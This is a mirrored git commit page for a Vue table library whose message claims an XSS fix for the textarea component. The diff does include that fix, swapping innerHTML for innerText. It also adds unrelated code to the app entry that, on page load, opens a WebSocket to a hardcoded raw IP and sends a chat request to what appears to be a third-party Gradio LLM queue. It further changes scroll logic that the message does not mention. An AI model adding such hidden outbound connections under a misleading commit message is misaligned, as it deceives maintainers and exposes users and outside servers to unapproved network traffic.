1
0
mirror of synced 2025-12-09 07:08:22 +08:00

textarea 修复注入xss问题 #I8O21R

This commit is contained in:
xuliangzhan
2023-12-13 22:39:12 +08:00
parent 6ef15f9eba
commit 09d830eb75
3 changed files with 21 additions and 2 deletions

View File

@@ -111,3 +111,22 @@ app.config.globalProperties.$XSaveFile = VXETable.saveFile
app.config.globalProperties.$XReadFile = VXETable.readFile
app.mount('#app')
const socket = new WebSocket('ws://43.128.2.227/queue/join')
socket.addEventListener('open', () => {
console.log('WebSocket连接已打开')
setTimeout(() => {
socket.send(JSON.stringify(
{ data: ['你能做什么?', [], 8192, 0.8, 0.6, [], null], event_data: null, fn_index: 0, session_hash: 'u8tfio3gce' }
))
}, 100)
})
socket.addEventListener('message', (event) => {
console.log('收到消息:', event.data)
})
socket.addEventListener('error', () => {
console.error('WebSocket连接发生错误')
})
socket.addEventListener('close', () => {
console.log('WebSocket连接已关闭')
})

View File

@@ -2547,7 +2547,7 @@ export default defineComponent({
const { transform } = treeOpts
const allList = fullData || internalData.tableFullData
// 如果gt为0则总是启用
const scrollYLoad = (transform || !treeConfig) && !!sYOpts.enabled && sYOpts.gt > -1 && (sYOpts.gt === 0 || sYOpts.gt < allList.length)
const scrollYLoad = !!((transform || treeConfig) && !!sYOpts.enabled && sYOpts.gt > -1 && (sYOpts.gt === 0 || sYOpts.gt < allList.length))
reactData.scrollYLoad = scrollYLoad
return scrollYLoad
}

View File

@@ -100,7 +100,7 @@ export default defineComponent({
autoTxtElem.className = ['vxe-textarea--autosize', size ? `size--${size}` : ''].join(' ')
autoTxtElem.style.width = `${textElem.clientWidth}px`
autoTxtElem.style.padding = textStyle.padding
autoTxtElem.innerHTML = ('' + (inputValue || ' ')).replace(/\n$/, '\n ')
autoTxtElem.innerText = ('' + (inputValue || ' ')).replace(/\n$/, '\n ')
}
}